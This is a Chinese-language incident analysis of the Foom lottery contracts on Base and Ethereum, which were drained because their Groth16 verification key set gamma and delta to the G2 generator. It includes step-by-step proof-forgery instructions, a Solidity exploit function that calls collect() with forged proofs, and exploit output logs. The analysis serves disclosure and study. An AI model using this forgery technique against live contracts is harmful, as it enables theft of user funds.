失效的 Groth16 `delta == gamma == G2 生成元`

  • DK27ss
  • 发布于 1天前
  • 阅读 40

本文分析了Foom协议彩票dApp在Base和以太坊主网上因Groth16零知识证明验证器的关键密码学漏洞而被盗的事件。漏洞源于验证密钥的deltagamma参数被错误地设置为G2生成元,导致配对方程成为永真式,允许任何人伪造证明并提取资金。白帽黑客识别并救助了受影响的资金。

损坏的 Groth16 $\delta = \gamma = G_2 \text{ Generator}$


已耗尽 耗尽百分比 迭代次数 区块
Base ~4.588 × $10^{30}$ tokens 99.97% 10 42,650,620
ETH Mainnet ~1.969 × $10^{31}$ tokens 99.99% 30 24,539,648
验证者 彩票
Base 0x02c30D32A92a3C338bc43b78933D293dED4f68C6 0xdb203504ba1fea79164AF3CeFFBA88C59Ee8aAfD
ETH 0xc043865fb4D542E2bc5ed5Ed9A2F0939965671A6 0x239AF915abcD0a5DCB8566e863088423831951f8

<img width="1748" height="223" alt="image" src="https://github.com/user-attachments/assets/db11416d-c6f0-41e7-88e4-c6a14cadd2bc" />

<img width="1709" height="224" alt="image" src="https://github.com/user-attachments/assets/93495d5b-2ad1-4c57-b316-acafdcc2beac" />

摘要

Foom 协议是一个使用 ZK 证明 (Groth16) 进行提款的彩票/赌博 dApp,由于 ZK 验证者合约中存在一个致命的密码学缺陷,在 Base 和 Ethereum 主网上都被耗尽。验证密钥的 deltagamma 参数都被设置为 BN254 $G_2$ 生成器点,这使得 Groth16 配对方程坍缩为重言式,从而允许任何人伪造任意公共输入的有效证明——无需了解任何私有见证。

Base 上的整个操作是一次由 @duha_real 主导的白帽救援,他发现了漏洞并在恶意行为者利用之前耗尽资金以保护它们。

Ethereum 主网上的操作由另一位白帽 (whitehat-rescue.eth) 独立进行,并非由 @duha_real 执行。


Groth16 验证

Groth16 是最广泛使用的 zk-SNARK 证明系统,一个证明由 BN254 曲线上的三个椭圆曲线元素 ($A, C \in G_1$) 和 ($B \in G_2$) 组成,验证检查一个配对方程

$$ e(A, B) = e(\alpha, \beta) \cdot e(vk_x, \gamma) \cdot e(C, \delta) $$

其中:

  • $\alpha \in G_1$, $\beta \in G_2$ — 固定验证密钥元素
  • $\gamma \in G_2$, $\delta \in G_2$ — 来自可信设置的固定验证密钥元素
  • $vk_x$ — 从公共输入计算出的 $G_1$ 点:$vk_x = IC[0] + \Sigma(\text{input}[i] \cdot IC[i+1])$
  • $IC[i]$ — 验证密钥中的固定 $G_1$ 点

改写为配对乘积检查 (EVM ecpairing 预编译所评估的内容)

$$ e(-A, B) \cdot e(\alpha, \beta) \cdot e(vk_x, \gamma) \cdot e(C, \delta) = 1 $$

Groth16 的安全性依赖于 $\alpha, \beta, \gamma, \delta$ 是来自可信设置仪式的独立的随机元素。如果它们之间存在任何关系,证明系统就会崩溃。


根本原因

// $\delta = \gamma = G_2 \text{ 生成器}$

漏洞在于可信设置 / 验证密钥生成,而不是 Solidity 验证者代码本身。Groth16 验证者逻辑是标准的——但其初始化的 VK 在密码学上是损坏的。

在正确的 Groth16 可信设置中:

  • $\gamma$ 和 $\delta$ 必须是在仪式期间生成的独立的随机 $G_2$ 元素
  • 它们的离散对数必须对所有参与方未知 (toxic waste)
  • 它们必须彼此不同且与 $G_2$ 生成器不同

Foom VK 违反了所有三点:

  • $\gamma = \delta$ — 它们是相同的
  • 两者都等于 $G_2$ 生成器 — 一个公开已知点
  • 离散对数显然是 $1$

这表明可信设置要么从未执行,要么使用了平凡参数,要么是蓄意植入后门

Foom ZK 验证者合约部署的验证密钥为

$\gamma = \delta = G2_{\text{generator}} = ($ x: [11559732032986387107991004021392285783925812861821192530917403151452391805634, 10857046999023057135944570762232829481370756359578518086990519993285655852781], y: [4082367875863433681332203403145435568316851327593401208105741076214120093531, 8495653923123431417604973247489272438418190587263600148770280649306958101930] )

collect()

彩票合约暴露了一个 collect() 函数,允许用户通过提供 Groth16 ZK 证明来领取奖励:

function collect(
    uint[2] calldata _pA,
    uint[2][2] calldata _pB,
    uint[2] calldata _pC,
    uint _root,
    uint _nullifierHash,
    address _recipient,
    address _relayer,
    uint _fee,
    uint _refund,
    uint _rewardbits,
    uint _invest
) payable external nonReentrant {
    require(nullifier[_nullifierHash] == 0, "Incorrect nullifier");
    nullifier[_nullifierHash] = 1;
    require(msg.value == _refund, "Incorrect refund amount received by the contract");

    uint reward = uint(betMin) * (
        (_rewardbits & 0x1 > 0 ? 1 : 0) * 2**betPower1 +
        (_rewardbits & 0x2 > 0 ? 1 : 0) * 2**betPower2 +
        (_rewardbits & 0x4 > 0 ? 1 : 0) * 2**betPower3
    );
    reward = reward * (100 - dividendFeePerCent - generatorFeePerCent) / 100;

    require(reward >= _fee, "Insufficient reward");
    require(roots[_root] > 0, "Cannot find your merkle root");

    uint balance = _balance();
    require(balance >= _fee, "Insufficient balance");

    // proof verification against the BROKEN verifier !
    // 针对损坏验证者的证明验证!
    require(
        withdraw.verifyProof(
            _pA, _pB, _pC,
            [_root, _nullifierHash, _rewardbits,
             uint(uint160(_recipient)), uint(uint160(_relayer)), _fee, _refund]
        ),
        "Invalid withdraw proof"
    );

    // ... reward distribution, dividend, invest logic, token transfer
    // ... 奖励分配、分红、投资逻辑、代币转账
}

这是标准的 BN254 $G_2$ 生成器点——一个公开已知的常数,而不是来自可信设置的随机元素。


攻击

白帽交易 Base (@duha_real): https://app.blocksec.com/phalcon/explorer/tx/base/0xa88317a105155b464118431ce1073d272d8b43e87aba528a24b62075e48d929d

白帽交易 ETH (whitehat-rescue.eth): https://app.blocksec.com/phalcon/explorer/tx/eth/0xce20448233f5ea6b6d7209cc40b4dc27b65e07728f2cbbfeb29fc0814e275e48

注意: 两笔交易都是白帽救援行动。Base 上的操作由 @duha_real 主导,他发现了漏洞并耗尽资金以保护它们。ETH 主网上的操作 (0xce20448...) 由 whitehat-rescue.eth 独立执行。两者都使用了相同的技术 (使用 $C = -vk_x$ 伪造 Groth16 证明)。

<img width="627" height="389" alt="image" src="https://github.com/user-attachments/assets/f14c08e4-85ac-49f9-8982-b7fb5eb685d5" />

// 为什么 $\delta = \gamma$ 会破坏一切

当 $\delta = \gamma$ 时,最右边的两个配对项合并

$$ e(vk_x, \gamma) \cdot e(C, \delta) = e(vk_x, \gamma) \cdot e(C, \gamma) = e(vk_x + C, \gamma) $$

攻击者可以选择 $C = -vk_x$ ($vk_x$ 的曲线取反),这会产生

$$ e(vk_x + (-vk_x), \gamma) = e(O, \gamma) = 1 $$

其中 $O$ 是无穷远点,方程的整个右侧坍缩。

// 抵消 $\alpha$ 和 $\beta$

由于 $\alpha$ 和 $\beta$ 是公开的 (可从验证密钥中读取),攻击者设置

$A = \alpha$ (证明元素 $A$ 等于 VK 的 $\alpha$) $B = \beta$ (证明元素 $B$ 等于 VK 的 $\beta$)

这使得剩余项抵消

$$ e(-A, B) \cdot e(\alpha, \beta) = e(-\alpha, \beta) \cdot e(\alpha, \beta) = e(-\alpha + \alpha, \beta) = e(O, \beta) = 1 $$

// 完整方程坍缩

结合两次抵消

$$ e(-A, B) \cdot e(\alpha, \beta) \cdot e(vk_x, \gamma) \cdot e(C, \delta) = 1 \cdot 1 = 1 \quad \checkmark $$

验证是重言式。 它对任何公共输入都返回 true,无论是否存在有效的见证。

证明伪造

对于任何选定的公共输入集 $(\text{root}, \text{nullifier}, \text{denomination}, \text{recipient}, \dots)$

  1. 从验证密钥中读取 $\alpha$, $\beta$, $IC[0..n]$ (链上公开)
  2. 设置 $A = \alpha$$B = \beta$
  3. 计算 $vk_x$ $$ vk_x = IC[0] + \text{root} \cdot IC[1] + \text{nullifier} \cdot IC[2] + \text{denomination} \cdot IC[3] + \text{recipient} \cdot IC[4] $$ 使用 EVM ecMul ($0x07$) 和 ecAdd ($0x06$) 预编译。
  4. 设置 $C = -vk_x$ 通过翻转 $y$ 坐标对 $G_1$ 点取反 $$ C = (vk_x.x, p - vk_x.y) $$ 其中 $p = 21888242871839275222246405745257275088696311157297823662689037894645226208583$ 是 BN254 域素数。
  5. 调用 collect($A, B, C, \text{root}, \text{nullifier}, \text{recipient}, \dots$) — 证明通过验证。

<img width="1490" height="205" alt="image" src="https://github.com/user-attachments/assets/6d6f4225-60ef-4126-a68a-ec1742f71c3d" />


执行流程

┌──────────────┐     deploy       ┌────────────────────┐
│  白帽 EOA    │ ──────────────►  │  攻击合约          │
│              │                  │  (构造函数)        │
└──────────────┘                  └──────┬─────────────┘
                                         │
                              ┌──────────▼───────────┐
                              │   循环 N 次迭代      │
                              │                      │
                              │  1. 计算 vk_x         │
                              │  2. C = -vk_x        │
                              │  3. 调用 collect()   │
                              └──────────┬───────────┘
                                         │
                    ┌────────────────────▼────────────────────┐
                    │          彩票合约                      │
                    │                                         │
                    │  ► verifyProof(A, B, C, inputs)         │
                    │    └─► ZK 验证者 → TRUE (伪造!)         │
                    │  ► token.transfer(recipient, payout)    │
                    └─────────────────────────────────────────┘

<img width="1479" height="143" alt="image" src="https://github.com/user-attachments/assets/5e84b7c7-bb7d-44d6-9169-7f39c6b38e2b" />

// Base 主网 — 白帽 @duha_real

字段
白帽合约 0x005299B37703511B35D851e17dd8D4615e8A2C9B
接收者 0x73f55A95D6959D95B3f3f11dDd268ec502dAB1Ea
代币 0x02300aC24838570012027E0A90D3FEcCEF3c51d2
迭代次数 10
空值器 37358796803735879689
Gas 3,347,703

耗尽序列

# 空值器 耗尽金额
1 3735879680 4.047 × $10^{30}$
2 3735879681 2.707 × $10^{29}$
3 3735879682 1.353 × $10^{29}$
4 3735879683 6.767 × $10^{28}$
5 3735879684 3.383 × $10^{28}$
... ... ... (减半)
10 3735879689 1.057 × $10^{27}$

// Ethereum 主网 — 白帽 whitehat-rescue.eth

字段
白帽合约 0x256a5D6852Fa5B3C55D3b132e3669A0bdE42e22c
接收者 0x46c403e3DcAF219D9D4De167cCc4e0dd8E81Eb72
代币 0xd0D56273290D339aaF1417D9bfa1bb8cFe8A0933
迭代次数 30
空值器 9999999000099999990029
Gas 8,408,402

耗尽序列

# 空值器 耗尽金额
1 99999990000 4.047 × $10^{30}$
2 99999990001 4.047 × $10^{30}$
3 99999990002 4.047 × $10^{30}$
4 99999990003 4.047 × $10^{30}$
5 99999990004 1.752 × $10^{30}$
6 99999990005 8.760 × $10^{29}$
... ... ... (减半)
30 99999990029 5.221 × $10^{22}$

在 30 次迭代后,ETH 彩票余额达到 $0$ (通过白帽合约构造函数末尾的 balanceOf 检查确认)


配对检查

检查链上追踪的 ecpairing 预编译调用证实了这次攻击,验证者向配对预编译发送 4 对 ($G_1, G_2$)

对 1: ($ -A, B $) $\leftarrow$ negate($\alpha$), $\beta$ 对 2: ($ A, B $) $\leftarrow$ $\alpha$, $\beta$ [与对 1 相同的 $G_2$] 对 3: ($ vk_x, \gamma $) $\leftarrow$ 从输入计算 对 4: ($ C, \delta $) $\leftarrow$ $-vk_x$, $\delta$ [与对 3 相同的 $G_2$]

// 对 $1$ 和 $2$ 抵消 两者都使用相同的 $G_2$ 点 ($B = \beta$)。$G_1$ 点是 $A$ 和 $-A$ (已验证:它们的 $y$ 坐标之和为域素数 $p$),根据双线性原理 $$ e(-A, B) \cdot e(A, B) = e(O, B) = 1 $$

// 对 $3$ 和 $4$ 抵消 两者都使用相同的 $G_2$ 点 ($\gamma = \delta = G_2 \text{ 生成器}$)。$G_1$ 点是 $vk_x$ 和 $C = -vk_x$ (已验证:它们的 $y$ 坐标之和为 $p$),根据双线性原理 $$ e(vk_x, \gamma) \cdot e(-vk_x, \gamma) = e(O, \gamma) = 1 $$

结果: $1 \cdot 1 = 1$ — 配对检查被轻易满足。

追踪的关键证据

  • $A$ 和 $B$ 在两条链的所有 collect() 调用中都是相同的 — 证实它们是固定的 VK 参数 $\alpha$ 和 $\beta$,而不是按证明计算的。
  • 只有 $C$ 在迭代之间发生变化,反映了随着空值器递增而重新计算的 $-vk_x$。
  • $IC[5], IC[6], IC[7]$ 总是乘以 $0$ — 最后 3 个公共输入未使用 (费用 (fee)、退款 (refund)、匿名集 (anonSet) 都设置为 $0$)。

概念验证

PoC 仅使用链上 VK 参数和 EC 预编译独立伪造 Groth16 证明

src/FoomExploit.sol — 从 VK 中读取 $\alpha, \beta, IC[0..4]$,为每个空值器计算 $vk_x$,设置 $C = -vk_x$,调用 collect()

function _forgeAndCollect(address lottery, uint256 root, uint256 nullifier, address recipient) internal {
    (uint256 vkxX, uint256 vkxY) = _computeVkX(root, nullifier, uint256(uint160(recipient)));

    // C = -vk_x ⟹ 当 gamma == delta 时,配对检查轻易成立
    IFoomLottery(lottery).collect(
        [ALPHA_X, ALPHA_Y],                          // A = alpha
        [[BETA_X1, BETA_X2], [BETA_Y1, BETA_Y2]],   // B = beta
        [vkxX, P - vkxY],                            // C = -vk_x
        root, nullifier, recipient, address(0), 0, 0, 7, 0
    );
}

输出

============================================
        BASE 链攻击 (区块 42650620)

  受害者彩票:              0xdb203504ba1fea79164AF3CeFFBA88C59Ee8aAfD
  损坏的 ZK 验证者:         0x02c30D32A92a3C338bc43b78933D293dED4f68C6
  被耗尽的代币:               0x02300aC24838570012027E0A90D3FEcCEF3c51d2
  彩票代币余额(之前): 4589254196734797608386036919841
  --------------------------------------------
  彩票代币余额(之后):  1057487102997651578878978360
  攻击者窃取的代币:       4588196709631799956807157941481
  耗尽百分比 (bps):       9997
============================================

============================================
       ETH 主网攻击 (区块 24539648)

  受害者彩票:              0x239AF915abcD0a5DCB8566e863088423831951f8
  损坏的 ZK 验证者:         0xc043865fb4D542E2bc5ed5Ed9A2F0939965671A6
  被耗尽的代币:               0xd0D56273290D339aaF1417D9bfa1bb8cFe8A0933
  彩票代币余额(之前): 19695576810020236864000000000000
  --------------------------------------------
  彩票代币余额(之后):  52218043953481865882874
  攻击者窃取的代币:       19695576757802192910518134117126
  耗尽百分比 (bps):       9999
============================================

<img width="680" height="321" alt="image" src="https://github.com/user-attachments/assets/4d8a95e1-25d6-40a5-a3a9-afa611be2f7b" />

<img width="683" height="323" alt="image" src="https://github.com/user-attachments/assets/3b60cdbd-f120-47ea-8a80-749d0b79a49b" />

之前 之后 窃取 耗尽百分比
Base 4.589 × $10^{30}$ 1.057 × $10^{27}$ 4.588 × $10^{30}$ 99.97%
ETH 1.969 × $10^{31}$ 5.221 × $10^{22}$ 1.969 × $10^{31}$ 99.99%

参考文献

  • 原文链接: github.com/DK27ss/FoomCl...
  • 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
DK27ss
DK27ss
江湖只有他的大名,没有他的介绍。